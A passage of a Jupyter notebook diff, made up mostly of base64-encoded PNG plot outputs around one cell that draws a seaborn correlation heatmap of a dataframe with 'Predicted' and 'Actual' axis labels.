4eB3UBxeIMZSdnqujDJXWH7CoKKmXUEZX87yijfM8BQXgK+GFfh8sp+9v8tcIOkiQpKDt8Rt62e4CrFuSHjycCNNAUEQzs7JW0DFgBfN7MWgoqT35K0FdhC1xrwTZI2A08SrB8L8CjwD2H7QD99P0IwrLRN0o7wda/CtR6+CbwD/B9wiGB1KgjW1Hg4vBE9J/EZnLs4XrXUjXqS1gNfMrONEcdREN7zyCJY/OcZM0u0ILtzg86vDJxLHV+XtIVg0Z+DRLxMpRtd/MrAOeecXxk455zzZOCccw5PBs455/Bk4JxzDk8Gzjnn8GTgnHMO+H9r8a84NSoppwAAAABJRU5ErkJggg==\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "code", + "source": [ + "plt.figure(figsize=(10,8))\n", + "sns.heatmap(data=df.corr(),annot=True)\n", + "plt.xlabel('Predicted')\n", + "plt.ylabel('Actual')" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 519 + }, + "id": "5UCiQLJOsxOH", + "outputId": "1f814eaf-283b-4701-f163-5a28ef19f1b5" + }, + "execution_count": 13, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Text(69.0, 0.5, 'Actual')" + ] + }, + "metadata": {}, + "execution_count": 13 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": "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